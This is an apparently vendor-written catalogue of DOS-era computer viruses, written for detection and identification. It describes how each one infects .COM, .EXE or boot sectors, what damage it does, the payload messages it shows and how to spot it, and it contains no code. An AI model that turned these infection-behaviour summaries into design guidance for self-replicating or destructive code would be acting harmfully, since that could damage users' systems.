    Your PC is now Stoned!

[Stoned.Azusa]
Virus Name: Stoned.Azusa
Alias Name: Azusa, Hong Kong
Virus Type: Boot Virus
Virus Length: N/A
Description: This virus infects boot sectors

Interrupt vectors hooked: INT 13h.

Infection method: When a system is booted from an
infected disk, the virus loads itself in memory.
While loaded, it attempts to infect any accessed
disks.  Unlike most boot sector viruses, it does
not preserve a copy of the original master boot
record. Instead it overwrites it and takes over
its functions. The DOS CHKDSK program will show a
"total bytes memory" decrease of 1,024 bytes.

Damage: After a specified number of reboots, the
virus temporarily disables the serial and parallel
ports.

[Sunday-1]
Virus Name: Sunday-1
Alias Name:
Virus Type: File Virus
Virus Length: 1,636 bytes
Description: This virus infects *.COM and *.EXE
             files as well as overlay files.

Damage: On Sunday, the virus may damage the FAT
table.  It will also display the following
message:

    "Today is Sunday! Why do you work so hard?
    All work and no play makes you a dull boy!
    Come on!  Let's go out and have some fun!"

[Taiwan]
Virus Name: Taiwan
Alias Name: Taiwan 2
Virus Type: File Virus
Virus Length: 743 bytes
Description: This virus infects *.COM files and
             COMMAND.COM

When an infected file is executed, the virus will
attempt to infect three *.COM files starting from
C:\.  Infected files will increase in size by 743
bytes with the virus being located at the
beginning of the file.

The virus is activated on the 8th of any month
when it will overwrite the FAT table and root
directory.

[Telecom]
Virus Name: Telecom
Alias Name: Telefonica
Virus Type: File Virus
Virus Length: 3,700 bytes
Description: This virus infects *.COM files

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 3,984 bytes.

Once the virus is memory resident, it will infect
*.COM files that are larger than 1,000 bytes when
they are executed. Infected files will increase in
size by 3,700 bytes.  Date and time information of
infected files will be altered with 100 being
added to the year.

[Tequila]
Virus Name: Tequila
Alias Name: Stealth
Virus Type: File Virus
Virus Length: 2,468 bytes
Description: This virus infects *.EXE files as
             well as boot sectors.

Interrupt vectors hooked: INT 13h, INT 21h.

Infection method: The first time an infected file
runs, the virus infects the master boot record.
When the system is booted from the infected hard
disk, the virus loads itself in memory.  While
loaded, it infects any .EXE file that executes.
The DOS CHKDSK program will show a "total bytes
memory" decrease of 3,072 bytes. Infected .EXE
files increase by 2,468 bytes.  The virus won't
infect files starting with "V" or "SC."

Damage: Several months after the initial
infection, the virus becomes active. Each month
afterward, if an infected program is run on the
same day of the first infection, a graphic and
this message will be displayed.

    Welcome to T.TEQUILA'S latest production.
    Contact T.TEQUILA/P.o.Box 543/6312
    St'hausen/Switzerland
    Loving thoughts to L.I.N.D.A
    BEER and TEQUILA forever !

Note: The virus hides the infected partition
record and increases in the size of infected
files.

[Traveller]
Virus Name: Traveller
Alias Name: Bupt
Virus Type: File Virus
Virus Length: 1,220 to 1,237 bytes
Description: This virus infectes *.COM and *.EXE
             files, as well as COMMAND.COM.

When an infected file is executed, the virus
installs itself into memory. Total available
memory will have decreased by 1,840 bytes.

Once the virus is memory resident, it will infect
*.COM and *.EXE files when they are executed.
This virus will also infect when the DIR command
is used.  Infected files will increase in size by
1,220 to 1,237 bytes, with the virus being located
at the end of the infected file. Date and time
information of infected files will not be altered.

The following text string can be found in the
virus:

    "Traveller (C) BUPT  1991.4"
    "Don't panic I'm harmless <<---!!!!!!!"
    "*.* COMEXE"

[Trivial]
Virus Name: Trivial
Alias Name: Minimal, Mini-45
Virus Type: File Virus
Virus Length: 45 bytes
Description: This virus infects *.COM files, as
             well as COMMAND.COM.

When an infected file is executed, the virus will
infect all *.COM files in same directory.  The
first 45 bytes of infected files will be
overwritten by the virus.  The date and time
information of infected files will be updated to
the time of infection.

All infected files will be permanently corrupted.

[V-sign]
Virus Name: V-sign
Alias Name: Cansu, Sigalet, Sigalit
Virus Type:   Boot Virus
Virus Length: N/A
Description: This virus infected Floppy boot
             sectors.

Interrupt vectors hooked: INT 13h.

Infection method: When an infected disk is booted,
the virus loads itself in memory. While loaded, it
infects any accessed disk. The DOS CHKDSK program
will show a "total bytes memory" decrease of 2 KB.

Damage: After infecting 64 disks, the virus
displays a large V and hangs the machine.

[V2P6]
Virus Name: V2P6
Alias Name:
Virus Type: File Virus
Virus Length: 1,946 to 2,111 bytes
Description: This virus infects *.COM  files.

When an infected file is executed, the virus will
infect the first *.COM file in the same directory
that is not already infected.  Infected files will
experience a file length increase of 1,946 to
2,111 bytes in length with the virus being located
at the end of the file.

[Vacsina]
Virus Name: Vacsina
Alias Name: Vacsina.TP-05.A, TP family
Virus Type: File Virus
Virus Length: 1,206 bytes
Description: This virus infects *.COM and *.EXE
             files.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects any file that executes. Before infecting
.EXE files, the virus converts them to a .COM file
format.

Damage: None known.

Note: There are many known variants of the Vacsina
virus. The Vacsina family of viruses is also known
as the "T.P." family.

[VCL]
Virus Name: VCL
Alias Name: Code Zero
Virus Type: File Virus
Virus Length: 576 bytes
Description: This virus infects *.COM  files, as
             well as COMMAND.COM.

When an infected file is executed, the virus will
search the same directory for a *.COM file which
is not already infected. Infected files will
experience a file length increase of 576 bytes
with the virus being located at the end of the
file.  If no uninfected files are found, the
following message is displayed:

    "** CODE ZERO **"

Date and time information of infected files will
not be altered.

The following text string can be found in the
virus:

    "*.* *.COM"
    "** CODE ZERO **"
    "Code Zero Virus"
    "1992 Nowhere Man/[NukE]"

[Vengence]
Virus Name: Vengence
Alias Name: Parasite, Vengeance
Virus Type: File Virus
Virus Length: 723 bytes
Description: This virus infects *.COM  files, as
             well as COMMAND.COM.

When an infected file is executed, the virus will
infect the first uninfected *.COM file in the same
directory.  Infected files will experience a file
length increase of 723 bytes with the virus being
located at the end of the file.  Date and time
information of infected files will be altered to
show 56 in the seconds field.

The following text string can be found in the
virus:

    "*** Vengeance is ours! ***"
    "SKISM/Phalcon '92"
    "PATH=*.COM"
    "????????COM"

[Vienna]
Virus Name: Vienna
Alias Name: DOS-62, Unesco, Austrian, 648, PC Boot
Virus Type: File Virus
Virus Length: 648 bytes
Description: This virus infects *.COM files

Symptoms: Increases infected file sizes by 648
bytes and files containing string "*.COM" and
"PATH=". Destroyed programs will cause computer to
reboot while in operation.

Damage: With the probability of 1:7 the virus will
not infect other files. Virus writes the
instruction JMP F000:FFF0 (computer reboot ) at
the start of such a program. Original content is
destroyed, length of file is not changed, and
destroyed program contains virus flag.

[XPEH]
Virus Name: XPEH
Alias Name: 4-B, Yankee Doodle.XPEH.4928, Micropox
Virus Type: File Virus
Virus Length: 4,016 bytes
Description: This virus infects *.COM and *.EXE
             files.

Interrupt vectors hooked: INT 1Ch, INT 21h.

Infection method: When an infected file runs, the
virus loads itself in memory. While loaded, it
infects any accessed, executable files. The DOS
CHKDSK program will show a "total bytes memory"
decrease of 4032 bytes. Infected files increase by
4016 bytes.

Damage: Under analysis.

[Yank-D.TP.44.A]
Virus Name: Yank-D.TP.44.A
Alias Name: Yankee Doodle, TP44
Virus Type: File Virus
Virus Length: 2,899 bytes
Description: This virus infects *.COM and *.EXE
             files.

When an infected file is executed, the virus
installs itself into memory. Once the virus is
memory resident, it play the song "Yankee Doodle"
on the computer speaker everyday at 5 p.m.

Infected files will experience a file length
increase of 2,899 bytes.

[Simple]
Virus Name: Simple cd
Virus Type: File Infector Virus (infects .COM
            files only.)
Virus Length:  No change
PC Vectors Hooked: None

Executing Procedure: Searches for .COM files in
the current directory. When it finds a .COM file
it checks whether it has been  previously infected
by the SIMPLE virus. If "YES" it continues to look
for uninfected .COM files. It then Infects the
file and looks for the next COM file until all the
.COM files in the current directory are infected.

Damage: Overwrites the original file, so the
length of the original file won't reflect any
increase. Note: Doesn't stay resident in memory.
SIMPLE doesn't hook INT 24h when infecting files.
Error message occurs if there is an I/O error
present (such as write protect).

[Alien-1]
Virus Name: Alien-1
Virus Type: File Infector Virus (infects .COM &
            .EXE files.)
Virus Length: 571 Bytes (COM &EXE)
PC Vectors Hooked: INT 21h

Executing Procedure: Checks whether it has been
loaded resident in high memory.  If  "No", then it
loads itself into resident memory (highest memory)
by hooking INT 21, then it executes the originally
called file, if "Yes' then it directly executes
the originally called file.

Damage:  None

Characteristics:
1) The virus infects files by hooking INT
   21h(AX=4B), when an uninfected file is
   executed, the file will be infected.
2) Alien-1 doesn't hook INT 24h when infecting
   files. Error messages occur if there is an I/O
   error (such as write protect.)

Detecting Method: Infected files will increase by
571 Bytes.

[Lep-0736]
Virus Name: Lep-0736
Virus Type: File Infector Virus (infects .COM &
            .EXE files.)
Virus Length: No change
PC Vectors Hooked: None

Executing Procedure:
1) Searches for .COM and .EXE files in current
   directory.
2) Checks whether the files found have been
   infected by LEP-0736. If "Yes", continue to
   look for a uninfected COM & EXE file.
3) Infect the uninfected file (infect only fore
   files at one time). Then such information
   occurs on the screen:"Program too big to fit
   in memory"

Damage:
Overwrites the original file, so the length of
the file won't increase.
Detecting Method:
Checks for the erroneous screen message
"Program too big to fit in memory."
Note:
1) Doesn't stay resident in memory.
2) LEP-0736 doesn't  hook INT 24h when infecting
   files. Error message occurs  if there is an
   I/O error (such as write protect).

[Ice-199]
Virus Name: Ice-199
Virus Type: File Infector Virus
            (infects .COM files only.)
Virus Length: 199 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by ice-199.
   If "Yes", continues to look for an uninfected
   .COM file.
3) Infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   length by 199 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ICE-199 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect.)

[Made-255]
Virus Name: Made-255
Virus Type: File Infector Virus
            (infects .COM files.)
Virus Length: 255 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by
   Made-255. If "Yes", it continues to look for an
   uninfected .COM file.
3) Infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 255 Bytes.
Note:
1) After infected file is executed, the system
   will halt.
2) Doesn't stay resident in memory.
3) MADE-255 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as write protect).

[2570]
Virus Name: 2570
Virus Type: File Infector Virus
            (infects .COM files only.)
Virus Length:   2570 Bytes
PC Vectors Hooked:      None
Executing Procedure:
Searches for a .COM file in the current directory.
Checks first to verify if a file has been
previously infected by 2570. If "Yes", continues
to look for   an uninfected .COM file. Infects
only one .COM file at a time. At infection,
information, such as those listed following, will
appear on the infected computer screen:
a) Cycle sluts from hell..
b) Virus Mania IV..
c) 2 Live Crew is fucking cool..
d) Like Commentator I, HIP-HOP sucks..
e) dr. Ruth is a first-class lady!..
f) Don t be a wimp, Be dead!.. and so on. Then the
   originally called program will be executed.
Damage:  None
Detecting Method:  Infected files will increase
                   by 2570 Bytes.
Note:
Doesn't stay resident in memory. 2570 doesn't hook
INT 24h when infecting files. Error message occurs
if there is an I/O error(such as write protect.)

[Ice-250]
Virus Name: Ice-250
Virus Type: File Infector Virus
            (infects .COM files.)
Virus Length: 250 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by Ice-250.
   If "Yes", it continues to look for an
   uninfected .COM file.
3) It infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 250 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ICE-250 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect.)

[Ice-224]
Virus Name: Ice-224
Virus Type: Virus File Infector
            (infects .COM files.)
Virus Length: 224 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by
   Ice-224. If "Yes", it continues to look for an
   uninfected .COM file.
   3) Infects only one file at one time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 224 Bytes.
Note:
1) Doesn't stay resident in memory.
2) ICE-224 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect.)

[Lct-762]
Virus Name: Lct-762
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 762 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by LCT-762.
   If "Yes", continues to look for a uninfected
   .COM file.
3) Infects  uninfected files until all .COM files
   in the directory have been infected.
Damage:  None
Detecting Method:  Infected files will increase
                   by 762 Bytes.
Note:
1) Doesn't stay resident in memory.
2) LCT-762 doesn't hook INT 24h when infecting
   files. An error message occurs if there is an
   I/O error (such as write.)

[Alien-3]
Virus Name: Alien-3
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: 625 Bytes(COM &EXE)
PC Vectors Hooked: INT 21h
Executing Procedure:
1) Checks whether it has been loaded resident in
   high memory.  If "No", then it loads itself
   into resident memory (highest memory portion)
   by hooking INT 21h..
2) Following the virus will check the system time,
   if the number of minutes passed in the hour are
   between 33 to 60, it    will show a " "
   parentheses mark on the screen.
3) After infection it will then execute the
   original file.
Damage:  None
Characteristics:
1) The virus infects  files by hooking INT
   21h(AX=4B), when an uninfected file is
   executed, the file will be infected.
2) Alien-3 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as write protect.)
Detecting Method: Infected files will increase
                  by 625 Bytes.

[Lep-562]
Virus Name: Lep-562
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) It first searches for a .COM and .EXE file
   in the current directory.
2) It checks whether it has been infected by
   LEP-562. If "Yes", it continues to look for
   uninfected .COM & .EXE files.
3) If  No" it will infect the uninfected files
   (infecting only four files at one time). Then
   when you execute the file such information
   occurs on the screen:
   "Program too big to fit in memory."
Damage:  Overwrite the original file, so the
         length of the file won't increase.
Detecting Method:
Check whether the message:
"Program too big to fit in memory" occurs on the
screen.
Note:
1) Doesn't stay resident in memory.
2) LEP-562 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Navi-282]
Virus Name: Navi-282
Virus Type: File Infector Virus
            (infects .COM files only)
Virus Length: 282 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Search for a .COM file in the current
   directory.
2) Checks whether it has been infected by
   NAVI-282. If "Yes", it continues to look for
   any uninfected .COM files.
3) Infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 282 Bytes.
Note:
1) Doesn't stay resident in memory.
2) NAVI-282 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Minimite]
Virus Name: Minimite
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 183 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Checks whether it has been infected by
   Minimite. If "Yes", it continues to look for
   any uninfected .COM files.
3) It them continues to infect files until all
   the .COM files in the directory have been
   infected.
Damage:  None
Detecting Method:  Infected files will increase
                   by 183 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Minimite doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an
   I/O error (such as write protect).

[Spanz]
Virus Name: Spanz
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 639 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It then checks the date of  the .COM file.
3) Checks whether it has been infected by Spanz.
   If "Yes", continues to look for any uninfected
   .COM files.
3) Infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 639 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Spanz doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error (such as write protect).

[Wilbur]
Virus Name: Wilbur
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 512 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It then checks whether it has been infected by
   Wilbur. If "Yes", it continues to look for any
   uninfected .COM files.
3) It infects only only one file at a time.
4) After infection it executes the originally
   called  file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 512 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Wilbur doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Repent]
Virus Name: Repent
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It then checks whether it has been infected by
   Repent. If "Yes", it continues to look for any
   uninfected .COM file.
3) It infects only three files at a time.
Damage:  Overwrites original file, so the
         length of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Repent doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Twin-Peak]
Virus Name: Twin-Peak
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the  current
   directory.
2) Checks to see whether it has been infected by
   TWIN-PEAK. If "Yes", it continues to look for
   any uninfected .COM file.
3) It infects only one file at time.
Damage:  Overwrites original file, so the length
         of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) TWIN-PEAK doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error (such as write protect).

[Pa-5792]
Virus Name: Pa-5792
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 5792 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for an .EXE file in the current
   directory and the "A:" drive.
2) It then checks whether it has been infected
   by PA-5792. If "Yes", it continues to look for
   any uninfected .EXE file.
3) It infects only seven files at a time.
4) It executes the originally called file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 5792 Bytes.
Note:
1) Doesn't stay resident in memory.
2) PA-5792 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Les]
Virus Name: Les
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 358 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches  for an .EXE file in the current
   directory.
2) It then checks to see whether it has been
   infected by the LES virus.  If "Yes", it
   continues to look for any uninfected .EXE file.
3) It finally infects all .EXE files in the
   directory.
Damage:  None
Detecting Method:  Infected files will increase
                   by 358 Bytes.
Note:
1) Doesn't stay resident in memory.
2) LES doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[H & P]
Virus Name: H&P
Virus Type: File Infector Virus (infects .COM
files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a COM file in the current
   directory.
2) It then checks whether it has been infected
   already by H&P. If "Yes", it continues to look
   for any uninfected .COM files.
3) It finally will infect only one file at a time.
Damage:  Overwrites original file, so the length
         of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) H&P doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[OW]
Virus Name: Ow
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a COM file in the current
   directory.
2) It then checks to see whether it has been
   already infected by OW. If "Yes", it continues
   to look for any uninfected .COM file.
3) It finally infects all files in the directory.
Damage:  Overwrites original files, so the
         length of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) OW doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[Small115]
Virus Name: Small115
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 115 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It then checks whether it has been infected by
   Small115. If "Yes", it continues to look
   for any uninfected .COM file.
3) It finally infects all the .COM files in the
   directory.
Damage:  Infected files won't be able to execute.
Detecting Method:  Infected files will increase by 115 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Small115 doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an
   I/O error of (such as write protect).

[Torm-263]
Virus Name: Torm-263
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 263 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It then checks whether it has been infected by
   TORM-263. If "Yes", it continues to look
   for any uninfected .COM files.
3) It then infects all uninfected files in the
   directory.
4) Finally, it executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 263 Bytes.
Note:
1) Doesn't stay resident in memory.
2) TORM-263 doesn't  hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Radyum]
Virus Name: Radyum
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 448 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It checks whether it has been infected by
   Radyum. If "Yes", it continues to look for any
   uninfected .COM files.
3) It infects only one file at a time).
4) Finally it executes the original file.
Damage:  None
Detecting Method:
Infected files will increase by 448 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Radyum doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Psycho]
Virus Name: Psycho
Virus Type: File Infector Virus
            (infects .EXE & .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM or .EXE file in the current
   directory.
2) It checks whether any files have been infected
   by Psycho. If "Yes", it continues to search for
   an uninfected .COM or .EXE file.
3) It then infects all  .EXE & .COM files in
   the directory.
Damage:  Overwrites original files, so the
         length of infected files won't increase.
Note:
1) Doesn't stay resident in memory.
2) Psycho doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[VCL9]
Virus Name: Vcl9
Virus Type: File Infector Virus
            (infects .EXE & .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for .COM or .EXE files in the current
   directory.
2) It checks  whether the first file found has
   been infected by VCL9. If "Yes", it continues
   looking for any uninfected .COM or .EXE file.
3) It then infects only two files at a time).
Damage:  Overwrites original files, so the
         length of infected files won't increase.
Note:
1) Doesn't stay resident in memory.
2) VCL9 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Cheesy]
Virus Name: Cheesy
Virus Type: File Infector Virus
            (infects .EXE files)
Virus Length: 381 Bytes(EXE)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for an .EXE file in the current
   directory.
2) When it locates an .EXE file it checks
   whether it has been infected by CHEESY. If
   "Yes", it continues to look for an uninfected
   .EXE file.
3) It then proceeds to infect all the .EXE files
   in the directory.
4) Once a file is executed the system halts.
Damage:  System halt.
Detecting Method:  Infected files will increase
                   by 381 Bytes.
Note:
1) Doesn't stay resident in memory.
2) CHEESY doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Dutch]
Virus Name: Dutch
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 358 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) When it locates a file it checks whether it has
   been infected by Dutch. If "Yes", it continues
   looking for any uninfected .COM file.
3) It infects only one file at a time.
Damage:  None
Detecting Method:  Infected files will increase
                   by 358 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Dutch doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error (such as write protect).

[Mini-2]
Virus Name: Mini-2
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates the first .COM file it checks
   whether it has been infected by MINI-2.  If
   "Yes", it continues to look for any
   uninfected .COM files.
3) It then infects all .COM in the directory.
Damage:  Overwrites original files, so the
         length of infected files won't increase.
Note:
1) Doesn't stay resident in memory.
2) MINI-2 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Define-1]
Virus Name: Define-1
Virus Type: File Infector Virus (infects .EXE & .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for an .EXE or .COM file in the
   current directory.
2) Once it locates a file it checks whether it has
   been infected by Define-1. If "Yes", it
   continues to look for another uninfected .COM
   or .EXE file.
3) It infects only one file at a time.
Damage:  Overwrites original file, so the
         length of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Define-1 doesn't  hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[205]
Virus Name: 205
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 205 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) When it locates a .COM file it checks if the
   file has been previously infected by 205. If
   "Yes", it continues to look for an uninfected
   .COM file.
3) It then proceeds to infect all the .COM files
   in the directory.
4) Finally it executes the originally called file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 205 Bytes.
Note:
1) Doesn't stay resident in memory.
2) 205 doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect).

[Banana]
Virus Name: Banana
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) When it locates a .COM file it checks whether
   or not it has been infected by Banana. If
   "Yes", it continues to search for another
   uninfected .COM file.
3) It then proceeds to infect all .COM files in
   the directory.
Damage:  Overwrites original file, so the
         length of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Banana doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error of (such  as write protect).

[334]
Virus Name: 334
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 334 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a .COM file it checks whether
   it has been infected by 334. If "Yes", it
   continues to search for an uninfected .COM
   file.
3) It infect uninfected files one at a time.
4) Finally it executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 334 Bytes.
Note:
1) Doesn't stay resident in memory.
2) 334 doesn't hook INT 24h when infecting files.
   Error message occurs if there is an I/O error
   (such as write protect.)

[Redx-1]
Virus Name: Redx-1
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 796 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the C:\ root
   directory.
2) Once it locates a .COM  file it checks whether
   it has been infected by REDX-1. If "Yes", it
   continues searching for an uninfected .COM
   file.
3) It then infects other .COM files two at a time.
4) It finally executes the original file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 796 Bytes.
Note:
1) Doesn't stay resident in memory.
2) REDX-1 doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Dismember]
Virus Name: Dismember
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 288 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches  for a .COM file in the current
   directory.
2) Once it locates a .COM  file it checks whether
   it has been infected by Dismember. If "Yes", it
   continues to search for an uninfected .COM
   file.
3) It then infects all .COM files in the
   directory.
4) Finally, it executes the originally called
   file.
Damage:  None
Detecting Method:  Infected files will increase
                   by 288 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Dismember doesn't hook INT 24h when infecting
   files. Error message occurs if there is an
   I/O error (such as write protect).

[Timid]
Virus Name: Timid
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 306 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Timid. If "Yes", it continues
   to search for a uninfected .COM file.
3) It then infects one file at a time and displays
   the infected file name on the screen.
4) Once the file is executed the system  will
   halt.
Damage:  Damages original file.
Detecting Method:
1) Infected files will increase by 306 Bytes.
2) Other file   names are shown on the screen.
Note:
1) Doesn't stay resident in memory.
2) Timid doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error of (such as write protect).

[Druid]
Virus Name: Druid
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by Druid. If "Yes", it continues
   to search  for any uninfected .COM file.
3) It then infects all .COM files in the
   directory.
Damage:  Overwrites original file, so the
         length of infected file won't increase.
Note:
1) Doesn't stay resident in memory.
2) Druid doesn't hook INT 24h when infecting
   files.  Error message occurs if there is an I/O
   error (such as write protect).

[Itti-B]
Virus Name: Itti-B
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a file it checks whether it has
   been infected by ITTI-B. If "Yes", it continues
   to look for any  uninfected .COM file.
3) It will infect only one file at a time.
4) It finally damages all the data on current
   disk if none of the .COM files are infected.
Damage:
1) Overwrites original file, so the length of
   infected  file won't increase.
2) Damages all data on current disk if none of
   the .COM files are infected.
Note:
1) Doesn't stay resident in memory.
2) ITTI-B doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  write protect).

[Itti-A]
Virus Name: Itti-A
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) Once it locates a .COM file it checks whether
   it has been infected by ITTI-A. If "Yes",  it
   continues to look for any  uninfected .COM
   file.
3) It infects only one file at a time. Then when
   the file is executed the message  "EXEC
   FAILURE" will show on the screen.
4) It will finally damage all data on current disk
   if no .COM file is infected.
Damage:
1) Overwrites original file, so the length of
   infected  file won't increase.
2) Damages all data on current disk if no .COM
   file is infected.
Note:
1) Doesn't stay resident in memory.
2) ITTI-A doesn't hook INT 24h when infecting
   files. Error message occurs if there is an I/O
   error (such as  writing protect).

[Burger]
Virus Name: Burger
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: No change
PC Vectors Hooked: None
Executing Procedure:
